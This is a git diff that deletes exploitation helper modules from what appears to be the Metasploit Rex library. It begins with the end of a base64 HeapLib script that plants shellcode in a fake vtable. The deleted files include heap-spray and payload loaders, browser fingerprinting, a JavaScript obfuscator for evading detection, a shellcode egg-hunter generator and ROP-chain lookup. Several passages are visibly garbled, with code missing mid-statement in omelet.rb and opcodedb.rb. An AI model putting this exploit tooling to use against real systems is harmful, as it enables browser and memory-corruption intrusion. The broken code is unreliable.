-ICAgICAgIHRocm93ICJWdGFibGUgc2l6ZSAiICsgc2l6ZSArICIgbXVzdCBi -ZSBhIG11bHRpcGxlIG9mIDE2IjsNCg0KICAgIGlmIChzaGVsbGNvZGUubGVu -Z3RoKjIgPiBzaXplLTEzOCkNCiAgICAgICAgdGhyb3coIk1heGltdW0gc2hl -bGxjb2RlIGxlbmd0aCBpcyAiICsgKHNpemUtMTM4KSArICIgYnl0ZXMiKTsN -Cg0KICAgIC8vIEJ1aWxkIHRoZSBmYWtlIHZ0YWJsZSB0aGF0IHdpbGwgZ28g -b24gdGhlIGxvb2thc2lkZSBsaXN0DQogICAgLy8NCiAgICAvLyBsb29rYXNp -ZGUgcHRyICBqbXAgKzEyNCAgYWRkciBvZiBqbXAgZWN4ICBzdWIgW2VheF0s -IGFsKjIgIHNoZWxsY29kZSAgICAgICBudWxsDQogICAgLy8gNCBieXRlcyAg -ICAgICAgNCBieXRlcyAgIDEyNCBieXRlcyAgICAgICAgNCBieXRlcyAgICAg -ICAgICBzaXplLTEzOCBieXRlcyAgMiBieXRlcw0KDQogICAgdmFyIHZ0YWJs -ZSA9IHVuZXNjYXBlKCIldTkwOTAldTdjZWIiKSAgIC8vIG5vcCwgbm9wLCBq -bXAgKyAxMjQNCg0KICAgIGZvciAodmFyIGkgPSAwOyBpIDwgMTI0LzQ7IGkr -KykNCiAgICAgICAgdnRhYmxlICs9IHRoaXMuYWRkcihqbXBlY3gpOw0KDQog -ICAgLy8gSWYgdGhlIHZ0YWJsZSBpcyB0aGUgb25seSBlbnRyeSBvbiB0aGUg -bG9va2FzaWRlLCB0aGUgZmlyc3QgNCBieXRlcyB3aWxsDQogICAgLy8gYmUg -MDAgMDAgMDAgMDAsIHdoaWNoIGRpc2Fzc2VtYmxlcyBhcyB0d28gYWRkIFtl -YXhdLCBhbCBpbnN0cnVjdGlvbnMuDQogICAgLy8gVGhlIGptcCBlY3ggdHJh -bXBvbGluZSB3aWxsIGp1bXAgYmFjayB0byB0aGUgYmVnaW5uaW5nIG9mIHRo -ZSB2dGFibGUgYW5kDQogICAgLy8gZXhlY3V0ZSB0aGUgYWRkIFtlYXhdLCBh -bCBpbnN0cnVjdGlvbnMuIFdlIG5lZWQgdG8gdXNlIHR3byBzdWIgW2VheF0s -IGFsDQogICAgLy8gaW5zdHJ1Y3Rpb25zIHRvIGZpeCB0aGUgaGVhcC4NCg0K -ICAgIHZ0YWJsZSArPSB1bmVzY2FwZSgiJXUwMDI4JXUwMDI4IikgKyAgICAv -LyB0d28gc3ViIFtlYXhdLCBhbCBpbnN0cnVjdGlvbnMNCiAgICAgICAgICAg -ICAgc2hlbGxjb2RlICsgaGVhcC5wYWRkaW5nKChzaXplLTEzOCkvMiAtIHNo -ZWxsY29kZS5sZW5ndGgpOw0KDQogICAgcmV0dXJuIHZ0YWJsZTsNCn0NCg== diff --git a/lib/rex/exploitation/heaplib.rb b/lib/rex/exploitation/heaplib.rb deleted file mode 100644 index c1d1a222a4..0000000000 --- a/lib/rex/exploitation/heaplib.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' -require 'rex/exploitation/obfuscatejs' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation - -# -# Encapsulates the generation of the Alexander Sotirov's HeapLib javascript -# stub -# -class HeapLib - - # - # The source file to load the javascript from - # - JavascriptFile = File.join(File.dirname(__FILE__), "heaplib.js.b64") - - # - # The list of symbols found in the file. This is used to dynamically - # replace contents. - # - SymbolNames = - { - "Methods" => - [ - "vtable", - "lookasideAddr", - "lookaside", - "freeList", - "gc", - "flushOleaut32", - "freeOleaut32", - "allocOleaut32", - "free", - "alloc", - "addr", - "hex", - "round", - "paddingStr", - "padding", - "debugBreak", - "debugHeap", - "debug", - ], - "Classes" => - [ - { 'Namespace' => "heapLib", 'Class' => "ie" } - ], - "Namespaces" => - [ - "heapLib" - ] - } - - # - # Initializes the heap library javascript - # - def initialize(custom_js = '', opts = {}) - load_js(custom_js, opts) - end - - # - # Return the replaced version of the javascript - # - def to_s - @js - end - -protected - - # - # Loads the raw javascript from the source file and strips out comments - # - def load_js(custom_js, opts = {}) - - # Grab the complete javascript - File.open(JavascriptFile) do |f| - @js = f.read - end - - # Decode the text - @js = Rex::Text.decode_base64(@js) - - # Append the real code - @js += "\n" + custom_js - - if opts[:newobfu] - # Obfuscate the javascript using the new lexer method - js_obfu = JSObfu.new(@js) - js_obfu.obfuscate - @js = js_obfu.to_s - return @js - elsif opts[:noobfu] - # Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation) - return @js - end - - # Default to the old method - # Obfuscate the javascript using the old method - @js = ObfuscateJS.obfuscate(@js, 'Symbols' => SymbolNames) - end -end - -end -end diff --git a/lib/rex/exploitation/js.rb b/lib/rex/exploitation/js.rb deleted file mode 100644 index 721ecb824c..0000000000 --- a/lib/rex/exploitation/js.rb +++ /dev/null @@ -1,6 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/exploitation/js/memory' -require 'rex/exploitation/js/network' -require 'rex/exploitation/js/utils' -require 'rex/exploitation/js/detect' \ No newline at end of file diff --git a/lib/rex/exploitation/js/detect.rb b/lib/rex/exploitation/js/detect.rb deleted file mode 100644 index 04df435fa4..0000000000 --- a/lib/rex/exploitation/js/detect.rb +++ /dev/null @@ -1,71 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'rex/text' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation -module Js - - -class Detect - - # - # Provides several javascript functions for determining the OS and browser versions of a client. - # - # getVersion(): returns an object with the following properties - # os_name - OS name such as "Windows 8", "Linux", "Mac OS X" - # os_flavor - OS flavor as a string such as "Home", "Enterprise", etc - # os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows) - # os_lang - OS language (e.g.: "en-us") - # os_vendor - A company or organization name such as Microsoft, Ubuntu, Apple, etc - # os_device - A specific piece of hardware such as iPad, iPhone, etc - # ua_name - Client name, one of the Msf::HttpClients constants - # ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2") - # arch - Architecture, one of the ARCH_* constants - # - # The following functions work on the version returned in obj.ua_version - # - # ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively - # ua_ver_lt(a, b): returns true if a < b - # ua_ver_gt(a, b): returns true if a > b - # ua_ver_eq(a, b): returns true if a == b - # - def self.os(custom_js = '') - js = custom_js - js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js")) - - Rex::Exploitation::JSObfu.new(js) - end - - - # - # Provides javascript functions to determine IE addon information. - # - # getMsOfficeVersion(): Returns the version for Microsoft Office - # - def self.ie_addons(custom_js = '') - js = custom_js - js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js")) - - Rex::Exploitation::JSObfu.new(js) - end - - # - # Provides javascript functions that work for all browsers to determine addon information - # - # getJavaVersion(): Returns the Java version - # hasSilverlight(): Returns whether Silverlight is enabled or not - # - def self.misc_addons(custom_js = '') - js = custom_js - js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js")) - - Rex::Exploitation::JSObfu.new(js) - end - -end -end -end -end diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb deleted file mode 100644 index f8fb22c77e..0000000000 --- a/lib/rex/exploitation/js/memory.rb +++ /dev/null @@ -1,81 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' - -module Rex -module Exploitation -module Js - -# -# Provides meomry manipulative functions in JavaScript -# -class Memory - - def self.mstime_malloc - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "mstime_malloc.js")) - js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6)) - js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5)) - - ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ buf eleId acTag } - } - }).obfuscate - end - - def self.heaplib2(custom_js='', opts={}) - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js")) - - unless custom_js.blank? - js << custom_js - end - - js = ::Rex::Exploitation::JSObfu.new js - js.obfuscate - return js - end - - def self.property_spray - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js")) - - ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ sym_div_container data junk obj } - } - }).obfuscate - end - - def self.heap_spray - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heap_spray.js")) - - ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ index heapSprayAddr_hi heapSprayAddr_lo retSlide heapBlockCnt } - } - }).obfuscate - end - - def self.explib2 - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "lib", "explib2.js")) - - ::Rex::Exploitation::ObfuscateJS.obfuscate(js) - end - - def self.explib2_payload(payload="exec") - case payload - when "drop_exec" - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "drop_exec.js")) - else # "exec" - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "exec.js")) - end - - ::Rex::Exploitation::ObfuscateJS.obfuscate(js) - end - -end -end -end -end diff --git a/lib/rex/exploitation/js/network.rb b/lib/rex/exploitation/js/network.rb deleted file mode 100644 index 7869efbc4f..0000000000 --- a/lib/rex/exploitation/js/network.rb +++ /dev/null @@ -1,84 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' - -module Rex -module Exploitation -module Js - -# -# Provides networking functions in JavaScript -# -class Network - - # @param [Hash] opts the options hash - # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true. - # @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed. - # defaults to true. - # @return [String] javascript code to perform a synchronous ajax request to the remote - # and returns the response - def self.ajax_download(opts={}) - should_obfuscate = opts.fetch(:obfuscate, true) - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js")) - - if should_obfuscate - js = ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ xmlHttp oArg } - } - }).obfuscate - end - - xhr_shim(opts) + js - end - - # @param [Hash] opts the options hash - # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true. - # @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed. - # defaults to true. - # @return [String] javascript code to perform a synchronous or asynchronous ajax request to - # the remote with the data specified. - def self.ajax_post(opts={}) - should_obfuscate = opts.fetch(:obfuscate, true) - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js")) - - if should_obfuscate - js = ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ xmlHttp cb path data } - } - }).obfuscate - end - - xhr_shim(opts) + js - end - - # @param [Hash] opts the options hash - # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true. - # @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true. - # @return [String] javascript code that adds XMLHttpRequest to the global scope if it - # does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor) - def self.xhr_shim(opts={}) - return '' unless opts.fetch(:inject_xhr_shim, true) - - should_obfuscate = opts.fetch(:obfuscate, true) - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js")) - - if should_obfuscate - js = ::Rex::Exploitation::ObfuscateJS.new(js, - { - 'Symbols' => { - 'Variables' => %w{ activeObjs idx } - } - } - ).obfuscate - end - js - end - -end -end -end -end diff --git a/lib/rex/exploitation/js/utils.rb b/lib/rex/exploitation/js/utils.rb deleted file mode 100644 index 45fdb216ee..0000000000 --- a/lib/rex/exploitation/js/utils.rb +++ /dev/null @@ -1,33 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core' -require 'rex/text' -require 'rex/exploitation/jsobfu' - -module Rex -module Exploitation -module Js - -# -# Javascript utilities -# -class Utils - - def self.base64 - js = ::File.read(::File.join(Msf::Config.data_directory, "js", "utils", "base64.js")) - - opts = { - 'Symbols' => { - 'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx - input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 }, - 'Methods' => %w{ _utf8_encode _utf8_decode encode decode } - } - } - - ::Rex::Exploitation::ObfuscateJS.new(js, opts).to_s - end - -end -end -end -end diff --git a/lib/rex/exploitation/jsobfu.rb b/lib/rex/exploitation/jsobfu.rb deleted file mode 100644 index 0e7e3ae892..0000000000 --- a/lib/rex/exploitation/jsobfu.rb +++ /dev/null @@ -1,17 +0,0 @@ -# -*- coding: binary -*- - -require 'jsobfu' - -module Rex -module Exploitation - -# -# Simple wrapper class that makes the JSObfu functionality -# from the gem available under the Rex namespace. -# -class JSObfu < ::JSObfu - -end - -end -end diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb deleted file mode 100644 index 8e2cc7324d..0000000000 --- a/lib/rex/exploitation/obfuscatejs.rb +++ /dev/null @@ -1,336 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' -module Rex -module Exploitation - -# -# Obfuscates javascript in various ways -# -class ObfuscateJS - attr_reader :opts - - # - # Obfuscates a javascript string. - # - # Options are 'Symbols', described below, and 'Strings', a boolean - # which specifies whether strings within the javascript should be - # mucked with (defaults to false). - # - # The 'Symbols' argument should have the following format: - # - # { - # 'Variables' => [ 'var1', ... ], - # 'Methods' => [ 'method1', ... ], - # 'Namespaces' => [ 'n', ... ], - # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] - # } - # - # Make sure you order your methods, classes, and namespaces by most - # specific to least specific to prevent partial substitution. For - # instance, if you have two methods (joe and joeBob), you should place - # joeBob before joe because it is more specific and will be globally - # replaced before joe is replaced. - # - # A simple example follows: - # - # - # js = ObfuscateJS.new < { - # 'Variables' => [ 'foo' ], - # 'Methods' => [ 'say_hi' ] - # } - # 'Strings' => true - # ) - # - # - # which should generate something like the following: - # - # - # function oJaDYRzFOyJVQCOHk() { var cLprVG = "\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64"; document.writeln(cLprVG); } - # - # - # String obfuscation tries to deal with escaped quotes within strings but - # won't catch things like - # "\\" - # so be careful. - # - def self.obfuscate(js, opts = {}) - ObfuscateJS.new(js).obfuscate(opts) - end - - # - # Initialize an instance of the obfuscator - # - def initialize(js = "", opts = {}) - @js = js - @dynsym = {} - @opts = { - 'Symbols' => { - 'Variables'=>[], - 'Methods'=>[], - 'Namespaces'=>[], - 'Classes'=>[] - }, - 'Strings'=>false - } - @done = false - update_opts(opts) if (opts.length > 0) - end - - def update_opts(opts) - if (opts.nil? or opts.length < 1) - return - end - if (@opts['Symbols'] && opts['Symbols']) - ['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k| - if (@opts['Symbols'][k] && opts['Symbols'][k]) - opts['Symbols'][k].each { |s| - if (not @opts['Symbols'][k].include? s) - @opts['Symbols'][k].push(s) - end - } - elsif (opts['Symbols'][k]) - @opts['Symbols'][k] = opts['Symbols'][k] - end - } - elsif opts['Symbols'] - @opts['Symbols'] = opts['Symbols'] - end - @opts['Strings'] ||= opts['Strings'] - end - - # - # Returns the dynamic symbol associated with the supplied symbol name - # - # If obfuscation has not yet been performed (i.e. obfuscate() has not been - # called), then this method simply returns its argument - # - def sym(name) - @dynsym[name] || name - end - - # - # Obfuscates the javascript string passed to the constructor - # - def obfuscate(opts = {}) - #return @js if (@done) - @done = true - - update_opts(opts) - - if (@opts['Strings']) - obfuscate_strings() - - # Full space randomization does not work for javascript -- despite - # claims that space is irrelavent, newlines break things. Instead, - # use only space (0x20) and tab (0x09). - - #@js.gsub!(/[\x09\x20]+/) { |s| - # len = rand(50)+2 - # set = "\x09\x20" - # buf = '' - # while (buf.length < len) - # buf << set[rand(set.length)].chr - # end - # - # buf - #} - end - - # Remove our comments - remove_comments - - # Globally replace symbols - replace_symbols(@opts['Symbols']) if @opts['Symbols'] - - return @js - end - - # - # Returns the replaced javascript string - # - def to_s - @js - end - alias :to_str :to_s - - def <<(str) - @js << str - end - def +(str) - @js + str - end - -protected - attr_accessor :done - - # - # Get rid of both single-line C++ style comments and multiline C style comments. - # - # Note: embedded comments (e.g.: "/*/**/*/") will break this, - # but they also break real javascript engines so I don't care. - # - def remove_comments - @js.gsub!(%r{\s+//.*$}, '') - @js.gsub!(%r{/\*.*?\*/}m, '') - end - - # Replace method, class, and namespace symbols found in the javascript - # string - def replace_symbols(symbols) - taken = { } - - # Generate random symbol names - [ 'Variables', 'Methods', 'Classes', 'Namespaces' ].each { |symtype| - next if symbols[symtype].nil? - symbols[symtype].each { |sym| - dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn) - - taken[dyn] = true - - if symtype == 'Classes' - full_sym = sym['Namespace'] + "." + sym['Class'] - @dynsym[full_sym] = dyn - - @js.gsub!(/#{full_sym}/) { |m| - sym['Namespace'] + "." + dyn - } - else - @dynsym[sym] = dyn - - @js.gsub!(/#{sym}/, dyn) - end - } - } - end - - # - # Change each string into some javascript that will generate that string - # - # There are a couple of caveats to using string obfuscation: - # * it tries to deal with escaped quotes within strings but won't catch - # things like: "\\" - # * depending on the random choices, this can easily balloon a short - # string up to hundreds of kilobytes if called multiple times. - # so be careful. - # - def obfuscate_strings() - @js.gsub!(/".*?[^\\]"|'.*?[^\\]'/) { |str| - buf = '' - quote = str[0,1] - # Pull the quotes off either end - str = str[1, str.length-2] - case (rand(2)) - # Disable hex encoding for now. It's just too big a hassle. - #when 0 - # # This is where we can run into trouble with generating - # # incorrect code. If we hex encode a string twice, the second - # # encoding will generate the first instead of the original - # # string. - # if str =~ /\\x/ - # # Always have to remove spaces from strings so the space - # # randomization doesn't mess with them. - # buf = quote + str.gsub(/ /, '\x20') + quote - # else - # buf = '"' + Rex::Text.to_hex(str) + '"' - # end - when 0 - # - # Escape sequences when naively encoded for unescape become a - # literal backslash instead of the intended meaning. To avoid - # that problem, we scan the string for escapes and leave them - # unmolested. - # - buf << 'unescape("' - bytes = str.unpack("C*") - c = 0 - while bytes[c] - if bytes[c].chr == "\\" - # XXX This is pretty slow. - esc_len = parse_escape(bytes, c) - buf << bytes[c, esc_len].map{|a| a.chr}.join - c += esc_len - next - end - buf << "%%%0.2x"%(bytes[c]) - # Break the string into smaller strings - if bytes[c+1] and rand(10) == 0 - buf << '" + "' - end - c += 1 - end - buf << '")' - when 1 - buf = "String.fromCharCode( " - bytes = str.unpack("C*") - c = 0 - while bytes[c] - if bytes[c].chr == "\\" - case bytes[c+1].chr - # For chars that contain their non-escaped selves, step - # past the backslash and let the rand() below decide - # how to represent the character. - when '"'; c += 1 - when "'"; c += 1 - when "\\"; c += 1 - # For others, just take the hex representation out of - # laziness. - when "n"; buf << "0x0a"; c += 2; next - when "t"; buf << "0x09"; c += 2; next - # Lastly, if it's a hex, unicode, or octal escape, - # leave it, and anything after it, alone. At some - # point we may want to parse up to the end of the - # escapes and encode subsequent non-escape characters. - # Since this is the lazy way to do it, spaces after an - # escape sequence will get away unmodified. To prevent - # the space randomizer from hosing the string, convert - # spaces specifically. - else - buf = buf[0,buf.length-1] + " )" - buf << ' + ("' + bytes[c, bytes.length].map{|a| a==0x20 ? '\x20' : a.chr}.join + '" ' - break - end - end - case (rand(3)) - when 0 - buf << " %i,"%(bytes[c]) - when 1 - buf << " 0%o,"%(bytes[c]) - when 2 - buf << " 0x%0.2x,"%(bytes[c]) - end - c += 1 - end - # Strip off the last comma - buf = buf[0,buf.length-1] + " )" - end - buf - } - @js - end - - def parse_escape(bytes, offset) - esc_len = 0 - if bytes[offset].chr == "\\" - case bytes[offset+1].chr - when "u"; esc_len = 6 # unicode \u1234 - when "x"; esc_len = 4 # hex, \x41 - when /[0-9]/ # octal, \123, \0 - oct = bytes[offset+1, 4].map{|a|a.chr}.join - oct =~ /([0-9]+)/ - esc_len = 1 + $1.length - else; esc_len = 2 # \" \n, etc. - end - end - esc_len - end -end - -end -end diff --git a/lib/rex/exploitation/omelet.rb b/lib/rex/exploitation/omelet.rb deleted file mode 100644 index 598577563e..0000000000 --- a/lib/rex/exploitation/omelet.rb +++ /dev/null @@ -1,321 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' -require 'rex/arch' -require 'metasm' - - -module Rex -module Exploitation - -### -# -# This class provides an interface to generating an eggs-to-omelet hunter for win/x86. -# -# Written by corelanc0d3r -# -### -class Omelet - - ### - # - # Windows-based eggs-to-omelet hunters - # - ### - module Windows - Alias = "win" - - module X86 - Alias = ARCH_X86 - - # - # The hunter stub for win/x86. - # - def hunter_stub - { - # option hash members go here (currently unused) - } - end - - end - end - - ### - # - # Generic interface - # - ### - - # - # Creates a new hunter instance and acquires the sub-class that should - # be used for generating the stub based on the supplied platform and - # architecture. - # - def initialize(platform, arch = nil) - Omelet.constants.each { |c| - mod = self.class.const_get(c) - - next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias'))) - - if (platform =~ /#{mod.const_get('Alias')}/i) - self.extend(mod) - - if (arch and mod) - mod.constants.each { |a| - amod = mod.const_get(a) - - next if ((!amod.kind_of?(::Module)) or - (!amod.const_defined?('Alias'))) - - if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i) - amod = mod.const_get(a) - - self.extend(amod) - end - } - end - end - } - end - - # - # This method generates an eggs-to-omelet hunter using the derived hunter stub. - # - def generate(payload, badchars = '', opts = {}) - - eggsize = opts[:eggsize] || 123 - eggtag = opts[:eggtag] || "00w" - searchforward = opts[:searchforward] || true - reset = opts[:reset] - startreg = opts[:startreg] - usechecksum = opts[:checksum] - adjust = opts[:adjust] || 0 - - return nil if ((opts = hunter_stub) == nil) - - # calculate number of eggs - payloadlen = payload.length - delta = payloadlen / eggsize - delta = delta * eggsize - nr_eggs = payloadlen / eggsize - if delta < payloadlen - nr_eggs = nr_eggs+1 - end - - nr_eggs_hex = "%02x" % nr_eggs - eggsize_hex = "%02x" % eggsize - - hextag = '' - eggtag.each_byte do |thischar| - decchar = "%02x" % thischar - hextag = decchar + hextag - end - hextag = hextag + "01" - - # search forward or backward ? - setflag = nil - searchstub1 = nil - searchstub2 = nil - flipflagpre = '' - flipflagpost = '' - checksum = '' - - if searchforward - # clear direction flag - setflag = "cld" - searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx" - searchstub2 = "inc edx" - else - # set the direction flag - setflag = "std" - searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx" - searchstub2 = "dec edx" - flipflagpre = "cld\n\tsub esi,-8" - flipflagpost = "std" - end - - # will we have to adjust the destination address ? - adjustdest = '' - if adjust > 0 - adjustdest = "\n\tsub edi,#{adjust}" - elsif adjust < 0 - adjustdest = "\n\tadd edi,#{adjust}" - end - - # prepare the stub that starts the search - startstub = '' - if startreg - if startreg.downcase != 'ebp' - startstub << "mov ebp,#{startreg}" - end - startstub << "\n\t" if startstub.length > 0 - startstub << "mov edx,ebp" - end - # a register will be used as start location for the search - startstub << "\n\t" if startstub.length > 0 - startstub << "push esp\n\tpop edi\n\tor di,0xffff" - startstub << adjustdest - # edx will be used, start at end of stack frame - if not startreg - startstub << "\n\tmov edx,edi" - if reset - startstub << "\n\tpush edx\n\tpop ebp" - end - end - - # reset start after each egg was found ? - # will allow to find eggs when they are out of order/sequence - resetstart = '' - if reset - resetstart = "push ebp\n\tpop edx" - end - - #checksum code by dijital1 & corelanc0d3r - if usechecksum - checksum = < 2 do - egg_prep = eggcnt.chr + eggtag - this_egg = fullcode[startcode, eggsize] - if usechecksum - cksum = 0 - this_egg.each_byte { |b| - cksum += b - } - this_egg << [cksum & 0xff].pack('C') - end - - this_egg = egg_prep + this_egg - eggs << this_egg - - eggcnt -= 1 - startcode += eggsize - end - - return [ the_omelet, eggs ] - end - -protected - - # - # Stub method that is meant to be overridden. It returns the raw stub that - # should be used as the omelet maker (combine the eggs). - # - def hunter_stub - end - -end -end -end diff --git a/lib/rex/exploitation/opcodedb.rb b/lib/rex/exploitation/opcodedb.rb deleted file mode 100644 index 73e3f32ba0..0000000000 --- a/lib/rex/exploitation/opcodedb.rb +++ /dev/null @@ -1,819 +0,0 @@ -# -*- coding: binary -*- -require 'rexml/rexml' -require 'rexml/source' -require 'rexml/document' -require 'rexml/parsers/treeparser' -require 'rex/proto/http' -require 'uri' - -module Rex -module Exploitation -module OpcodeDb - -module OpcodeResult # :nodoc: - def initialize(hash) - @hash = hash - end - attr_reader :hash -end - -### -# -# A cachable entry. -# -### -module Cachable - - def create(hash) # :nodoc: - @Cache = {} unless (@Cache) - if (hash_key(hash) and @Cache[hash_key(hash)]) - @Cache[hash_key(hash)] - else - @Cache[hash_key(hash)] = self.new(hash) - end - end - - def hash_key(hash) # :nodoc: - hash['id'] || nil - end - - def flush_cache # :nodoc: - @Cache.clear - end - -end - -### -# -# This class provides a general interface to items that come from that opcode -# database that have a symbolic entry identifier and name. -# -### -module DbEntry - include OpcodeResult - - def initialize(hash) - super - - @id = hash['id'].to_i - @name = hash['name'] - end - - # - # Fields that could possibly be filtered on for this database entry. - # - def filter_hash - { - "id" => id, - "name" => name - } - end - - # - # The unique server identifier. - # - attr_reader :id - # - # The unique name for this entry. - # - attr_reader :name -end - -### -# -# This class represents a particular image module including its name, -# segments, imports, exports, base address, and so on. -# -### -class ImageModule - include DbEntry - - ### - # - # This class contains information about a module-associated segment. - # - ### - class Segment - def initialize(hash) - @type = hash['type'] - @base_address = hash['base_address'].to_i - @size = hash['segment_size'].to_i - @writable = hash['writable'] == "true" ? true : false - @readable = hash['readable'] == "true" ? true : false - @executable = hash['executable'] == "true" ? true : false - end - - # - # The type of the segment, such as ".text". - # - attr_reader :type - # - # The base address of the segment. - # - attr_reader :base_address - # - # The size of the segment in bytes. - # - attr_reader :size - # - # Boolean that indicates whether or not the segment is writable. - # - attr_reader :writable - # - # Boolean that indicates whether or not the segment is readable. - # - attr_reader :readable - # - # Boolean that indicates whether or not the segment is executable. - # - attr_reader :executable - end - - ### - # - # This class contains information about a module-associated import. - # - ### - class Import - def initialize(hash) - @name = hash['name'] - @address = hash['address'].to_i - @ordinal = hash['ordinal'].to_i - end - - # - # The name of the imported function. - # - attr_reader :name - # - # The address of the function pointer in the IAT. - # - attr_reader :address - # - # The ordinal of the imported symbol. - # - attr_reader :ordinal - end - - ### - # - # This class contains information about a module-associated export. - # - ### - class Export - def initialize(hash) - @name = hash['name'] - @address = hash['address'].to_i - @ordinal = hash['ordinal'].to_i - end - - # - # The name of the exported function. - # - attr_reader :name - # - # The address of the exported function. - # - attr_reader :address - # - # The ordinal of the exported symbol. - # - attr_reader :ordinal - end - - class < eip). -# -### -class Group - include DbEntry - class < method } - - opts.each_pair do |k, v| - vars[k] = xlate_param(v) - end - - client.set_config('uri_encode_mode' => 'none') - - # Initialize the request with the POST body. - request = client.request_cgi( - 'method' => 'POST', - 'uri' => server_uri, - 'vars_post' => vars - ) - - # Send the request and grab the response. - response = client.send_recv(request, 300) - - # Non-200 return code? - if (response.code != 200) - raise RuntimeError, "Invalid response received from server." - end - - # Convert the return value to the native type. - parse_response(response.body) - rescue ::SocketError - raise RuntimeError, "Could not communicate with the opcode service: #{$!.class} #{$!}" - ensure - client.close - end - end - - # - # Translates a parameter into a flat CGI parameter string. - # - def xlate_param(v) - if (v.kind_of?(Array)) - v.map { |ent| - xlate_param(ent) - }.join(',,') - elsif (v.kind_of?(Hash)) - v.map { |k,v| - "#{URI.escape(k)}:#{xlate_param(v)}" if (v) - }.join(',,') - else - URI.escape(v.to_s) - end - end - - # - # Translate the data type from a flat string to a ruby native type. - # - def parse_response(xml) - @last_xml = xml - - if (!@disable_parse) - source = REXML::Source.new(xml) - doc = REXML::Document.new - - REXML::Parsers::TreeParser.new(source, doc).parse - - translate_element(doc.root) - end - end - - # - # Translate elements conveyed as data types. - # - def translate_element(element) - case element.name - when "Array" - return element.elements.map { |child| translate_element(child) } - when "Hash" - hsh = {} - - element.each_element { |child| - if (e = child.elements[1]) - v = translate_element(e) - else - v = child.text - end - - hsh[child.attributes['name']] = v - } - - return hsh - else - return element.text - end - end - -end - -end -end -end diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb deleted file mode 100644 index c035a1f18a..0000000000 --- a/lib/rex/exploitation/ropdb.rb +++ /dev/null @@ -1,190 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' -require 'rexml/document' - - -module Rex -module Exploitation - -### -# -# This class provides methods to access the ROP database, in order to generate -# a ROP-compatible payload on the fly. -# -### -class RopDb - def initialize - @base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/') - end - - public - - - # - # Returns true if a ROP chain is available, otherwise false - # - def has_rop?(rop_name) - File.exists?(File.join(@base_path, "#{rop_name}.xml")) - end - - # - # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or - # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size, - # :unsafe_negate_size, and :safe_negate_size - # Note if no RoP is found, it returns an empry array. - # Arguments: - # rop_name - name of the ROP chain. - # opts - A hash of optional arguments: - # 'target' - A regex string search against the compatibility list. - # 'base' - Specify a different base for the ROP gadgets. - # - def select_rop(rop, opts={}) - target = opts['target'] || '' - base = opts['base'] || nil - - raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop) - xml = load_rop(File.join(@base_path, "#{rop}.xml")) - - gadgets = [] - - xml.elements.each("db/rop") { |e| - name = e.attributes['name'] - next if not has_target?(e, target) - - if not base - default = 